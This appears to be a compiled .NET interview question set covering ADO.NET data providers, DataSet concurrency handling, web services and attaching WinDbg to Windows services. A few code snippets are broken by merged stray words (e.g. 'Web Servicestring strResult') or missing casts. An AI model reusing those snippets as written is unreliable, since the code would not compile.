DataAdapter: Populates a DataSet and resolves updates with the data source.
The .NET Framework includes the .NET Framework Data Provider for SQL Server (for Microsoft SQL Server
version 7.0 or later), the .NET Framework Data Provider for OLE DB, and the .NET Framework Data Provider
for ODBC.

The .NET Framework Data Provider for SQL Server: The .NET Framework Data Provider for SQL Server uses
its own protocol to communicate with SQL Server. It is lightweight and performs well because it is
optimized to access a SQL Server directly without adding an OLE DB or Open Database Connectivity
(ODBC) layer. The following illustration contrasts the .NET Framework Data Provider for SQL Server with
the .NET Framework Data Provider for OLE DB. The .NET Framework Data Provider for OLE DB
communicates to an OLE DB data source through both the OLE DB Service component, that provides
connection pooling and transaction services, and the OLE DB Provider for the data source

The .NET Framework Data Provider for OLE DB: The .NET Framework Data Provider for OLE DB uses native
OLE DB through COM interoperability to enable data access. The .NET Framework Data Provider for OLE
DB supports both local and distributed transactions. For distributed transactions, the .NET Framework
Data Provider for OLE DB, by default, automatically enlists in a transaction and obtains transaction details
from Windows 2000 Component Services.

The .NET Framework Data Provider for ODBC: The .NET Framework Data Provider for ODBC uses native
ODBC Driver Manager (DM) through COM interoperability to enable data access. The ODBC data provider
supports both local and distributed transactions. For distributed transactions, the ODBC data provider, by
default, automatically enlists in a transaction and obtains transaction details from Windows 2000
Component Services.

The .NET Framework Data Provider for Oracle: The .NET Framework Data Provider for Oracle enables data
access to Oracle data sources through Oracle client connectivity software. The data provider supports
Oracle client software version 8.1.7 and later. The data provider supports both local and distributed
transactions (the data provider automatically enlists in existing distributed transactions, but does not
currently support the EnlistDistributedTransaction method).

The .NET Framework Data Provider for Oracle requires that Oracle client software (version 8.1.7 or later)
be installed on the system before you can use it to connect to an Oracle data source.

.NET Framework Data Provider for Oracle classes are located in the System.Data.OracleClient namespace
and are contained in the System.Data.OracleClient.dll assembly. You will need to reference both the
System.Data.dll and the System.Data.OracleClient.dll when compiling an application that uses the data
provider.

Choosing a .NET Framework Data Provider

.NET Framework Data Provider for SQL Server: Recommended for middle-tier applications using Microsoft
SQL Server 7.0 or later. Recommended for single-tier applications using Microsoft Data Engine (MSDE) or
Microsoft SQL Server 7.0 or later.
Recommended over use of the OLE DB Provider for SQL Server (SQLOLEDB) with the .NET Framework
Data Provider for OLE DB. For Microsoft SQL Server version 6.5 and earlier, you must use the OLE DB
Provider for SQL Server with the .NET Framework Data Provider for OLE DB.

.NET Framework Data Provider for OLE DB: Recommended for middle-tier applications using Microsoft
SQL Server 6.5 or earlier, or any OLE DB provider. For Microsoft SQL Server 7.0 or later, the .NET
Framework Data Provider for SQL Server is recommended. Recommended for single-tier applications
using Microsoft Access databases. Use of a Microsoft Access database for a middle-tier application is not
recommended.

.NET Framework Data Provider for ODBC: Recommended for middle-tier applications using ODBC data
sources. Recommended for single-tier applications using ODBC data sources.

.NET Framework Data Provider for Oracle: Recommended for middle-tier applications using Oracle data
sources. Recommended for single-tier applications using Oracle data sources. Supports Oracle client
software version 8.1.7 and later. The .NET Framework Data Provider for Oracle classes are located in the
System.Data.OracleClient namespace and are contained in the System.Data.OracleClient.dll assembly. You
need to reference both the System.Data.dll and the System.Data.OracleClient.dll when compiling an
application that uses the data provider.

Can you explain the difference between an ADO.NET Dataset and an ADO Recordset?

Let's have a look at the differences between ADO Recordset and ADO.Net DataSet:
1. Table Collection: ADO Recordset provides the ability to navigate through a single table of
information. That table would have been formed with a join of multiple tables and returning
columns from multiple tables. ADO.NET DataSet is capable of holding instances of multiple tables.
It has got a Table Collection, that holds multiple tables in it. If the tables are having a relation,
then it can be manipulated on a Parent-Child relationship. It has the ability to support multiple
tables with keys, constraints and interconnected relationships. With this ability the DataSet can be
considered as a small, in-memory relational database cache.
2. Navigation: Navigation in ADO Recordset is based on the cursor mode. Even though it is
specified to be a client-side Recordset, still the navigation pointer will move from one location to
another on cursor model only. ADO.NET DataSet is an entirely offline, in-memory, and cache of
data. All of its data is available all the time. At any time, we can retrieve any row or column,
constraints or relation simply by accessing it either ordinarily or by retrieving it from a name-
based collection.
3. Connectivity Model: The ADO Recordset was originally designed without the ability to operate in
a disconnected environment. ADO.NET DataSet is specifically designed to be a disconnected in-
memory database. ADO.NET DataSet follows a pure disconnected connectivity model and this
gives it much more scalability and versatility in the amount of things it can do and how easily it
can do that.
4. Marshalling and Serialization: In COM, through Marshalling, we can pass data from 1 COM
component to another component at any time. Marshalling involves copying and processing data
so that a complex type can appear to the receiving component the same as it appeared to the
sending component. Marshalling is an expensive operation. ADO.NET Dataset and DataTable
components support Remoting in the form of XML serialization. Rather than doing expensive
Marshalling, it uses XML and sent data across boundaries.
5. Firewalls and DCOM and Remoting: Those who have worked with DCOM know that how
difficult it is to marshal a DCOM component across a router. People generally came up with
workarounds to solve this issue. ADO.NET DataSet uses Remoting, through which a DataSet /
DataTable component can be serialized into XML, sent across the wire to a new AppDomain, and
then Desterilized back to a fully functional DataSet. As the DataSet is completely disconnected,
and it has no dependency, we lose absolutely nothing by serializing and transferring it through
Remoting.
How do you handle data concurrency in .NET ?

One of the key features of the ADO.NET DataSet is that it can be a self-contained and disconnected data
store. It can contain the schema and data from several rowsets in DataTable objects as well as information
about how to relate the DataTable objects-all in memory. The DataSet neither knows nor cares where the
data came from, nor does it need a link to an underlying data source. Because it is data source agnostic
you can pass the DataSet around networks or even serialize it to XML and pass it across the Internet
without losing any of its features. However, in a disconnected model, concurrency obviously becomes a
much bigger problem than it is in a connected model.

In this column, I'll explore how ADO.NET is equipped to detect and handle concurrency violations. I'll
begin by discussing scenarios in which concurrency violations can occur using the ADO.NET disconnected
model. Then I will walk through an ASP.NET application that handles concurrency violations by giving the
user the choice to overwrite the changes or to refresh the out-of-sync data and begin editing again.
Because part of managing an optimistic concurrency model can involve keeping a timestamp (rowversion)
or another type of flag that indicates when a row was last updated, I will show how to implement this type
of flag and how to maintain its value after each database update.

Is Your Glass Half Full?

There are three common techniques for managing what happens when users try to modify the same data
at the same time: pessimistic, optimistic, and last-in wins. They each handle concurrency issues differently.
The pessimistic approach says: "Nobody can cause a concurrency violation with my data if I do not let
them get at the data while I have it." This tactic prevents concurrency in the first place but it limits
scalability because it prevents all concurrent access. Pessimistic concurrency generally locks a row from
the time it is retrieved until the time updates are flushed to the database. Since this requires a connection
to remain open during the entire process, pessimistic concurrency cannot successfully be implemented in
a disconnected model like the ADO.NET DataSet, that opens a connection only long enough to populate
the DataSet then releases and closes, so a database lock cannot be held.

Another technique for dealing with concurrency is the last-in wins approach. This model is pretty
straightforward and easy to implement-whatever data modification was made last is what gets written to
the database. To implement this technique you only need to put the primary key fields of the row in the
UPDATE statement's WHERE clause. No matter what is changed, the UPDATE statement will overwrite the
changes with its own changes since all it is looking for is the row that matches the primary key values.
Unlike the pessimistic model, the last-in wins approach allows users to read the data while it is being
edited on screen. However, problems can occur when users try to modify the same data at the same time
because users can overwrite each other's changes without being notified of the collision. The last-in wins
approach does not detect or notify the user of violations because it does not care. However the optimistic
technique does detect violations. Contd....

In optimistic concurrency models, a row is only locked during the update to the database. Therefore the
data can be retrieved and updated by other users at any time other than during the actual row update
operation. Optimistic concurrency allows the data to be read simultaneously by multiple users and blocks
other users less often than its pessimistic counterpart, making it a good choice for ADO.NET. In optimistic
models, it is important to implement some type of concurrency violation detection that will catch any
additional attempt to modify records that have already been modified but not committed. You can write
your code to handle the violation by always rejecting and canceling the change request or by overwriting
the request based on some business rules. Another way to handle the concurrency violation is to let the
user decide what to do. The sample application that is shown in Figure 1 illustrates some of the options
that can be presented to the user in the event of a concurrency violation.

Where Did My Changes Go?

When users are likely to overwrite each other's changes, control mechanisms should be put in place.
Otherwise, changes could be lost. If the technique you're using is the last-in wins approach, then these
types of overwrites are entirely possible.For example, imagine Julie wants to edit an employee's last name
to correct the spelling. She navigates to a screen that loads the employee's information into a DataSet
and has it presented to her in a Web page. Meanwhile, Scott is notified that the same employee's phone
extension has changed. While Julie is correcting the employee's last name, Scott begins to correct his
extension. Julie saves her changes first and then Scott saves his.Assuming that the application uses the
last-in wins approach and updates the row using a SQL WHERE clause containing only the primary key's
value, and assuming a change to one column requires the entire row to be updated, neither Julie nor
Scott may immediatelyrealize the concurrency issue that just occurred. In this specific situation, Julie's
changes were overwritten by Scott's changes because he saved last, and the last name reverted to the
misspelled version.

So as you can see, even though the users changed various fields, their changes collided and caused Julie's
changes to be lost. Without some sort of concurrency detection and handling, these types of overwrites
can occur and even go unnoticed.When you run the sample application included in this column's
download, you should open two separate instances of Microsoft Internet Explorer. When I generated
the conflict, I opened two instances to simulate two users with two separate sessions so that a
concurrency violation would occur in the sample application. When you do this, be careful not to use
Ctrl+N because if you open one instance and then use the Ctrl+N technique to open another instance,
both windows will share the same session.

Detecting Violations

The concurrency violation reported to the user in Figure 1 demonstrates what can happen when multiple
users edit the same data at the same time. In Figure 1, the user attempted to modify the first name to
"Joe" but since someone else had already modified the last name to "Fuller III," a concurrency violation
was detected and reported. ADO.NET detects a concurrency violation when a DataSet containing changed
values is passed to a SqlDataAdapter's Update method and no rows are actually modified. Simply using
the primary key (in this case the EmployeeID) in the UPDATE statement's WHERE clause will not cause a
violation to be detected because it still updates the row (in fact, this technique has the same outcome as
the last-in wins technique). Instead, more conditions must be specified in the WHERE clause in order for
ADO.NET to detect the violation.

The key here is to make the WHERE clause explicit enough so that it not only checks the primary key but
that it also checks for another appropriate condition. One way to accomplish this is to pass in all
modifiable fields to the WHERE clause in addition to the primary key. For example, the application shown
in Figure 1 could have its UPDATE statement look like the Stored Procedure that's shown in Figure 2.

Notice that in the code in Figure 2 nullable columns are also checked to see if the value passed in is NULL.
This technique is not only messy but it can be difficult to maintain by hand and it requires you to test for a
significant number of WHERE conditions just to update a row. This yields the desired result of only
updating rows where none of the values have changed since the last time the user got the data, but there
are other techniques that do not require such a huge WHERE clause.

Another way to ensure that the row is only updated if it has not been modified by another user since you
got the data is to add a timestamp column to the table. The SQL Server(tm) TIMESTAMP datatype
automatically updates itself with a new value every time a value in its row is modified. This makes it a very
simple and convenient tool to help detect concurrency violations.

A third technique is to use a DATETIME column in which to track changes to its row. In my sample
application I added a column called LastUpdateDateTime to the Employees table.

ALTER TABLE Employees ADD LastUpdateDateTime DATETIME

There I update the value of the LastUpdateDateTime field automatically in the UPDATE Stored Procedure
using the built-in SQL Server GETDATE function.

The binary TIMESTAMP column is simple to create and use since it automatically regenerates its value
each time its row is modified, but since the DATETIME column technique is easier to display on screen and
demonstrate when the change was made, I chose it for my sample application. Both of these are solid
choices, but I prefer the TIMESTAMP technique since it does not involve any additional code to update its
value.

Retrieving Row Flags

One of the keys to implementing concurrency controls is to update the timestamp or datetime field's
value back into the DataSet. If the same user wants to make more modifications, this updated value is
reflected in the DataSet so it can be used again. There are a few various ways to do this. The fastest is
using output parameters within the Stored Procedure. (This should only return if @@ROWCOUNT equals
1.) The next fastest involves selecting the row again after the UPDATE within the Stored Procedure. The
slowest involves selecting the row from another SQL statement or Stored Procedure from the
SqlDataAdapter's RowUpdated event.

I prefer to use the output parameter technique since it is the fastest and incurs the least overhead. Using
the RowUpdated event works well, but it requires me to make a second call from the application to the
database. The following code snippet adds an output parameter to the SqlCommand object that is used
to update the Employee information:

oUpdCmd.Parameters.Add(new SqlParameter("@NewLastUpdateDateTime",
SqlDbType.DateTime, 8, ParameterDirection.Output,
false, 0, 0, "LastUpdateDateTime", DataRowVersion.Current, null));
oUpdCmd.UpdatedRowSource = UpdateRowSource.OutputParameters;

The output parameter has its sourcecolumn and sourceversion arguments set to point the output
parameter's return value back to the current value of the LastUpdateDateTime column of the DataSet. This
way the updated DATETIME value is retrieved and can be returned to the user's .aspx page. Contd....

Saving Changes

Now that the Employees table has the tracking field (LastUpdateDateTime) and the Stored Procedure has
been created to use both the primary key and the tracking field in the WHERE clause of the UPDATE
statement, let's have a look at the role of ADO.NET. In order to trap the event when the user changes the
values in the textboxes, I created an event handler for the TextChanged event for each TextBox control:
private void txtLastName_TextChanged(object sender, System.EventArgs e)
{
// Get the employee DataRow (there is only 1 row, otherwise I could
// do a Find)
dsEmployee.EmployeeRow oEmpRow =
(dsEmployee.EmployeeRow)oDsEmployee.Employee.Rows[0];
oEmpRow.LastName = txtLastName.Text;
// Save changes back to Session
Session["oDsEmployee"] = oDsEmployee;
}

This event retrieves the row and sets the appropriate field's value from the TextBox. (Another way of
getting the changed values is to grab them when the user clicks the Save button.) Each TextChanged
event executes after the Page_Load event fires on a postback, so assuming the user changed the first and
last names, when the user clicks the Save button, the events could fire in this order: Page_Load,
txtFirstName_TextChanged, txtLastName_TextChanged, and btnSave_Click.

The Page_Load event grabs the row from the DataSet in the Session object; the TextChanged events
update the DataRow with the new values; and the btnSave_Click event attempts to save the record to the
database. The btnSave_Click event calls the SaveEmployee method (shown in Figure 3) and passes it a
bLastInWins value of false since we want to attempt a standard save first. If the SaveEmployee method
detects that changes were made to the row (using the HasChanges method on the DataSet, or
alternatively using the RowState property on the row), it creates an instance of the Employee class and
passes the DataSet to its SaveEmployee method. The Employee class could live in a logical or physical
middle tier. (I wanted to make this a separate class so it would be easy to pull the code out and separate it
from the presentation logic.)

Notice that I did not use the GetChanges method to pull out only the modified rows and pass them to the
Employee object's Save method. I skipped this step here since there is only one row. However, if there
were multiple rows in the DataSet's DataTable, it would be better to use the GetChanges method to
create a DataSet that contains only the modified rows.

If the save succeeds, the Employee.SaveEmployee method returns a DataSet containing the modified row
and its newly updated row version flag (in this case, the LastUpdateDateTime field's value). This DataSet is
then merged into the original DataSet so that the LastUpdateDateTime field's value can be updated in the
original DataSet. This must be done because if the user wants to make more changes she will need the
current values from the database merged back into the local DataSet and shown on screen. This includes
the LastUpdateDateTime value that is used in the WHERE clause. Without this field's current value, a false
concurrency violation would occur.

Reporting Violations

If a concurrency violation occurs, it will bubble up and be caught by the exception handler shown in
Figure 3 in the catch block for DBConcurrencyException. This block calls the FillConcurrencyValues
method, that displays both the original values in the DataSet that were attempted to be saved to the
database and the values currently in the database. This method is used merely to show the user why the
violation occurred. Notice that the exDBC variable is passed to the FillConcurrencyValues method. This
instance of the special database concurrency exception class (DBConcurrencyException) contains the row
where the violation occurred. When a concurrency violation occurs, the screen is updated to look like
Figure 1.

The DataSet not only stores the schema and the current data, it also tracks changes that have been made
to its data. It knows which rows and columns have been modified and it keeps track of the before and
after versions of these values. When accessing a column's value via the DataRow's indexer, in addition to
the column index you can also specify a value using the DataRowVersion enumerator. For example, after a
user changes the value of the last name of an employee, the following lines of C# code will retrieve the
original and current values stored in the LastName column:

string sLastName_Before = oEmpRow["LastName", DataRowVersion.Original];
string sLastName_After = oEmpRow["LastName", DataRowVersion.Current];

The FillConcurrencyValues method uses the row from the DBConcurrencyException and gets a fresh copy
of the same row from the database. It then displays the values using the DataRowVersion enumerators to
show the original value of the row before the update and the value in the database alongside the current
values in the textboxes.

User's Choice

Once the user has been notified of the concurrency issue, you could leave it up to her to decide how to
handle it. Another alternative is to code a specific way to deal with concurrency, such as always handling
the exception to let the user know (but refreshing the data from the database). In this sample application I
let the user decide what to do next. She can either cancel changes, cancel and reload from the database,
save changes, or save anyway.

The option to cancel changes simply calls the RejectChanges method of the DataSet and rebinds the
DataSet to the controls in the ASP.NET page. The RejectChanges method reverts the changes that the user
made back to its original state by setting all of the current field values to the original field values. The
option to cancel changes and reload the data from the database also rejects the changes but additionally
goes back to the database via the Employee class in order to get a fresh copy of the data before
rebinding to the control on the ASP.NET page.

The option to save changes attempts to save the changes but will fail if a concurrency violation is
encountered. Finally, I included a "save anyway" option. This option takes the values the user attempted to
save and uses the last-in wins technique, overwriting whatever is in the database. It does this by calling a
different command object associated with a Stored Procedure that only uses the primary key field
(EmployeeID) in the WHERE clause of the UPDATE statement. This technique should be used with caution
as it will overwrite the record.
If you want a more automatic way of dealing with the changes, you could get a fresh copy from the
database. Then overwrite just the fields that the current user modified, such as the Extension field. That
way, in the example I used the proper LastName would not be overwritten. Use this with caution as well,
however, because if the same field was modified by both users, you may want to just back out or ask the
user what to do next. What is obvious here is that there are several ways to deal with concurrency
violations, each of which must be carefully weighed before you decide on the one you will use in your
application.

Wrapping It Up

Setting the SqlDataAdapter's ContinueUpdateOnError property tells the SqlDataAdapter to either throw
an exception when a concurrency violation occurs or to skip the row that caused the violation and to
continue with the remaining updates. By setting this property to false (its default value), it will throw an
exception when it encounters a concurrency violation. This technique is ideal when only saving a single
row or when you are attempting to save multiple rows and want them all to commit or all to fail.
I have split the topic of concurrency violation management into two parts. Next time I will focus on what
to do when multiple rows could cause concurrency violations. I will also discuss how the
DataViewRowState enumerators can be used to show what changes have been made to a DataSet.

How you will set the datarelation between two columns?

ADO.NET provides DataRelation object to set relation between two columns.It helps to enforce the
following constraints,a unique constraint, that guarantees that a column in the table contains no
duplicates and a foreign-key constraint,that can be used to maintain referential integrity.A unique
constraint is implemented either by simply setting the Unique property of a data column to true, or by
adding an instance of the UniqueConstraint class to the DataRelation object's ParentKeyConstraint. As
part of the foreign-key constraint, you can specify referential integrity rules that are applied at three
points,when a parent record is updated,when a parent record is deleted and when a change is accepted or
rejected.

WebServices And Windows Services

Can you give an example of when it would be appropriate to use a web service as opposed to non-
serviced .NET component

Web service is one of main component in Service Oriented Architecture. You could use web services when
your clients and servers are running on different networks and also different platforms. This provides a
loosely coupled system. And also if the client is behind the firewall it would be easy to use web service
since it runs on port 80 (by default) instead of having some thing else in Service Oriented Architecture
applications.

What is the standard you use to wrap up a call to a Web service

"SOAP.
"
What is the transport protocol you use to call a Web service SOAP

HTTP with SOAP

What does WSDL stand for?

"WSDL stands for Web Services Dsescription Langauge. There is WSDL.exe that creates a .wsdl Files that
defines how an XML Web service behaves and instructs clients as to how to interact with the service.
eg: wsdl http://LocalHost/WebServiceName.asmx"

Where on the Internet would you look for Web Services?

www.uddi.org

What does WSDL stand for?

Web Services Description Language

True or False: To test a Web service you must create a windows application or Web application to
consume this service?

False.

What are the various ways of accessing a web service ?

1. Asynchronous Call

Application can make a call to the Webservice and then continue todo watever oit wants to do.When the
service is ready it will notify the application.Application can use BEGIN and END method to make
asynchronous call to the webmethod.We can use either a WaitHandle or a Delegate object when making
asynchronous call.

The WaitHandle class share resources between several objects. It provides several methods that will wait
for the resources to become available
The easiest and most powerful way to to implement an asynchronous call is using a delegate object. A
delegate object wraps up a callback function. The idea is to pass a method in the invocation of the web
method. When the webmethod has finished it will call this callback function to process the result

2. Synchronous Call

Application has to wait until execution has completed.

Note: Few of the references are taken from other sites/sources

What are VSDISCO files?

VSDISCO files are DISCO files that support dynamic discovery of Web services. If you place the following
VSDISCO file in a directory on your Web server, for example, it returns references to all ASMX and DISCO
files in the host directory and any subdirectories not noted in <EXCLUDE>elements:

<DYNAMICDISCOVERY
xmlns="urn:schemas-dynamicdiscovery:disco.2000-03-17">
<EXCLUDE path="_vti_cnf" />
<EXCLUDE path="_vti_pvt" />
<EXCLUDE path="_vti_log" />
<EXCLUDE path="_vti_script" />
<EXCLUDE path="_vti_txt" />
</DYNAMICDISCOVERY>

How does dynamic discovery work?

ASP.NET maps the file name extension VSDISCO to an HTTP handler that scans the host directory and
subdirectories for ASMX and DISCO files and returns a dynamically generated DISCO document. A client
who requests a VSDISCO file gets back what appears to be a static DISCO document.

Note that VSDISCO files are disabled in the release version of ASP.NET. You can reenable them by
uncommenting the line in the <HTTPHANDLERS>section of Machine.config that maps *.vsdisco to
System.Web.Services.Discovery.DiscoveryRequestHandler and granting the ASPNET user account
permission to read the IIS metabase. However, Microsoft is actively discouraging the use of VSDISCO files
because they could represent a threat to Web server security.

Is it possible to prevent a browser from caching an ASPX page?

Just call SetNoStore on the HttpCachePolicy object exposed through the Response object's Cache
property, as demonstrated here:

<%@ Page Language="C#" %>
<%
Response.Cache.SetNoStore ();
Response.Write (DateTime.Now.ToLongTimeString ());
%>

SetNoStore works by returning a Cache-Control: private, no-store header in the HTTP response. In this
example, it prevents caching of a Web page that shows the current time.

What does AspCompat="true" mean and when should I use it?

AspCompat is an aid in migrating ASP pages to ASPX pages. It defaults to false but should be set to true
in any ASPX file that creates apartment-threaded COM objects--that is, COM objects registered
ThreadingModel=Apartment. That includes all COM objects written with Visual Basic 6.0. AspCompat
should also be set to true (regardless of threading model) if the page creates COM objects that access
intrinsic ASP objects such as Request and Response. The following directive sets AspCompat to true:
<%@ Page AspCompat="true" %>

Setting AspCompat to true does two things. First, it makes intrinsic ASP objects available to the COM
components by placing unmanaged wrappers around the equivalent ASP.NET objects. Second, it improves
the performance of calls that the page places to apartment- threaded COM objects by ensuring that the
page (actually, the thread that processes the request for the page) and the COM objects it creates share
an apartment. AspCompat="true" forces ASP.NET request threads into single-threaded apartments (STAs).
If those threads create COM objects marked ThreadingModel=Apartment, then the objects are created in
the same STAs as the threads that created them. Without AspCompat="true," request threads run in a
multithreaded apartment (MTA) and each call to an STA-based COM object incurs a performance hit when
it's marshaled across apartment boundaries.

Do not set AspCompat to true if your page uses no COM objects or if it uses COM objects that don't
access ASP intrinsic objects and that are registered ThreadingModel=Free or ThreadingModel=Both.

Can two different programming languages be mixed in a single ASMX file?

No.

What namespaces are imported by default in ASMX files?

The following namespaces are imported by default. Other namespaces must be imported manually.
System, System.Collections,System.ComponentModel,System.Data,
System.Diagnostics,System.Web,System.Web.Services

How do I provide information to the Web Service when the information is required as a SOAP
Header?

The key here is the Web Service proxy you created using wsdl.exe or through Visual Studio .NET's Add
Web Reference menu option. If you happen to download a WSDL file for a Web Service that requires a
SOAP header, .NET will create a SoapHeader class in the proxy source file. Using the previous example:

public class Service1 : System.Web.Services.Protocols.SoapHttpClientProtocol
{
public AuthToken AuthTokenValue;
[System.Xml.Serialization.XmlRootAttribute(Namespace = "http://tempuri.org/", IsNullable = false)]
public class AuthToken : SoapHeader { public string Token; }
}

In this case, when you create an instance of the proxy in your main application file, you'll also create an
instance of the AuthToken class and assign the string:

Service1 objSvc = new Service1();
processingobjSvc.AuthTokenValue = new AuthToken();
objSvc.AuthTokenValue.Token = <ACTUAL token value>;
Web Servicestring strResult = objSvc.MyBillableWebMethod();

What is WSDL?

WSDL is the Web Service Description Language, and it is implemented as a specific XML vocabulary. While
it's very much more complex than what can be described here, there are two important aspects to WSDL
with which you should be aware. First, WSDL provides instructions to consumers of Web Services to
describe the layout and contents of the SOAP packets the Web Service intends to issue. It's an interface
description document, of sorts. And second, it isn't intended that you read and interpret the WSDL.
Rather, WSDL should be processed by machine, typically to generate proxy source code (.NET) or create
dynamic proxies on the fly (the SOAP Toolkit or Web Service Behavior).

What is a Windows Service and how does its lifecycle differ from a "standard" EXE?

Windows service is a application that runs in the background. It is equivalent to a NT service.
The executable created is not a Windows application, and hence you can't just click and run it . it needs to
be installed as a service, VB.Net has a facility where we can add an installer to our program and then use a
utility to install the service. Where as this is not the case with standard exe

How can a win service developed in .NET be installed or used in Win98?

Windows service cannot be installed on Win9x machines even though the .NET framework runs on
machine.

Can you debug a Windows Service? How ?

Yes we can debug a Windows Service.

Attach the WinDbg debugger to a service after the service starts

This method is similar to the method that you can use to attach a debugger to a process and then debug
a process.

Use the process ID of the process that hosts the service that you want to debug

1. To determine the process ID (PID) of the process that hosts the service that you want to debug, use one
of the following methods.

Method 1: Use the Task Manager
Right-click the Taskbar, and then click Task Manager. The Windows Task Manager dialog box
appears.
Click the Processes tab of the Windows Task Manager dialog box.
Under Image Name, click the image name of the process that hosts the service that you want to
debug. Note the process ID of this process as specified by the value of the corresponding PID
field.
Method 2: Use the Task List Utility (tlist.exe)
Click Start, and then click Run. The Run dialog box appears.
In the Open box, type cmd, and then click OK.
At the command prompt, change the directory path to reflect the location of the tlist.exe file on
your computer

Note: The tlist.exe file is typically located in the following directory: C:\Program Files\Debugging
Tools for Windows

d. At the command prompt, type tlist to list the image names and the process IDs of all processes
that are currently running on your computer.
Note Make a note of the process ID of the process that hosts the service that you want to debug.

2. At a command prompt, change the directory path to reflect the location of the windbg.exe file on your
computer.

Note: If a command prompt is not open, follow steps a and b of Method 1. The windbg.exe file is typically
located in the following directory: C:\Program Files\Debugging Tools for Windows.

3. At the command prompt, type windbg p ProcessID to attach the WinDbg debugger to the process
that hosts the service that you want to debug.

Note ProcessID is a placeholder for the process ID of the process that hosts the service that you want to
debug.

Use the image name of the process that hosts the service that you want to debug

You can use this method only if there is exactly one running instance of the process that hosts the service
that you want to run. To do this, follow these steps:
1. Click Start, and then click Run. The Run dialog box appears.
2. In the Open box, type cmd, and then click OK to open a command prompt.
3. At the command prompt, change the directory path to reflect the location of the windbg.exe file
on your computer.
Note: The windbg.exe file is typically located in the following directory: C:\Program Files\Debugging Tools
for Windows.

4. At the command prompt, type windbg pn ImageName to attach the WinDbg debugger to the
process that hosts the service that you want to debug.

NoteImageName is a placeholder for the image name of the process that hosts the service that you want
to debug. The "-pn" command-line option specifies that the ImageName command-line argument is the
image name of a process.

back to the top

Start the WinDbg debugger and attach to the process that hosts the service that you want to debug
1. Start Windows Explorer.
2. Locate the windbg.exe file on your computer.

Note: The windbg.exe file is typically located in the following directory: C:\Program
Files\Debugging Tools for Windows

3. Run the windbg.exe file to start the WinDbg debugger.
4. On the File menu, click Attach to a Process to display the Attach to Process dialog box.
5. Click to select the node that corresponds to the process that hosts the service that you want to
debug, and then click OK.
6. In the dialog box that appears, click Yes to save base workspace information. Notice that you can
now debug the disassembled code of your service.
Configure a service to start with the WinDbg debugger attached

You can use this method to debug services if you want to troubleshoot service-startup-related problems.

1. Configure the "Image File Execution" options. To do this, use one of the following methods:

Method 1: Use the Global Flags Editor (gflags.exe)
Start Windows Explorer.
Locate the gflags.exe file on your computer.

Note: The gflags.exe file is typically located in the following directory: C:\Program
Files\Debugging Tools for Windows.

Run the gflags.exe file to start the Global Flags Editor.
In the Image File Name text box, type the image name of the process that hosts the service that
you want to debug. For example, if you want to debug a service that is hosted by a process that
has MyService.exe as the image name, type MyService.exe.
Under Destination, click to select the Image File Options option.
Under Image Debugger Options, click to select the Debugger check box.
In the Debugger text box, type the full path of the debugger that you want to use. For example, if
you want to use the WinDbg debugger to debug a service, you can type a full path that is similar
to the following: C:\Program Files\Debugging Tools for Windows\windbg.exe
Click Apply, and then click OK to quit the Global Flags Editor.
Method 2: Use Registry Editor
Click Start, and then click Run. The Run dialog box appears.
In the Open box, type regedit, and then click OK to start Registry Editor.
Warning If you use Registry Editor incorrectly, you may cause serious problems that may require
you to reinstall your operating system. Microsoft cannot guarantee that you can solve problems
that result from using Registry Editor incorrectly. Use Registry Editor at your own risk.

In Registry Editor, locate, and then right-click the following registry subkey:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution
Options

Point to New, and then click Key. In the left pane of Registry Editor, notice that New Key #1 (the
name of a new registry subkey) is selected for editing.
Type ImageName to replace New Key #1, and then press ENTER.

Note ImageName is a placeholder for the image name of the process that hosts the service that
you want to debug. For example, if you want to debug a service that is hosted by a process that
has MyService.exe as the image name, type MyService.exe.

Right-click the registry subkey that you created in step e.
Point to New, and then click String Value. In the right pane of Registry Editor, notice that New
Value #1, the name of a new registry entry, is selected for editing.
Replace New Value #1 with Debugger, and then press ENTER.
Right-click the Debugger registry entry that you created in step h, and then click Modify. The Edit
String dialog box appears.
In the Value data text box, type DebuggerPath, and then click OK.

Note: DebuggerPath is a placeholder for the full path of the debugger that you want to use. For
example, if you want to use the WinDbg debugger to debug a service, you can type a full path
that is similar to the following: C:\Program Files\Debugging Tools for Windows\windbg.exe
2. For the debugger window to appear on your Desktop, and to interact with the debugger, make your
service interactive. If you do not make your service interactive, the debugger will start but you cannot see
it and you cannot issue commands. To make your service interactive, use one of the following methods:

Method 1: Use the Services console
Click Start, and then point to Programs.
On the Programs menu, point to Administrative Tools, and then click Services. The Services
console appears.
In the right pane of the Services console, right-click ServiceName, and then click Properties.

Note: ServiceName is a placeholder for the name of the service that you want to debug.

On the Log On tab, click to select the Allow service to interact with Desktop check box under
Local System account, and then click OK.
Method 2: Use Registry Editor
In Registry Editor, locate, and then click the following registry subkey:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ServiceName
Note Replace ServiceName with the name of the service that you want to debug. For example, if
you want to debug a service named MyService, locate and then click the following registry key:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MyService

Under the Name field in the right pane of Registry Editor, right-click Type, and then click Modify.
The Edit DWORD Value dialog box appears.
Change the text in the Value data text box to the result of the binary OR operation with the binary
value of the current text and the binary value, 0x00000100, as the two operands. The binary value,
0x00000100, corresponds to the SERVICE_INTERACTIVE_PROCESS constant that is defined in the
WinNT.h header file on your computer. This constant specifies that a service is interactive in
nature.

3. When a service starts, the service communicates to the Service Control Manager how long the service
must need to start (the time-out period for the service). If the Service Control Manager does not receive a
"service started" notice from the service within this time-out period, the Service Control Manager
terminates the process that hosts the service. This time-out period is typically less than 30 seconds. If you
do not adjust this time-out period, the Service Control Manager ends the process and the attached
debugger while you are trying to debug. To adjust this time-out period, follow these steps:
In Registry Editor, locate, and then right-click the following registry subkey:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control

Point to New, and then click DWORD Value. In the right pane of Registry Editor, notice that New
Value #1 (the name of a new registry entry) is selected for editing.
Type ServicesPipeTimeout to replace New Value #1, and then press ENTER.
Right-click the ServicesPipeTimeout registry entry that you created in step c, and then click
Modify. The Edit DWORD Value dialog box appears.
In the Value data text box, type TimeoutPeriod, and then click OK

Note: TimeoutPeriod is a placeholder for the value of the time-out period (in milliseconds) that
you want to set for the service. For example, if you want to set the time-out period to 24 hours
(86400000 milliseconds), type 86400000.

Restart the computer. You must restart the computer for Service Control Manager to apply this
change.
4. Start your Windows service. To do this, follow these steps:
Click Start, and then point to Programs.
On the Programs menu, point to Administrative Tools, and then click Services. The Services
console appears.
In the right pane of the Services console, right-click ServiceName, and then click Start.
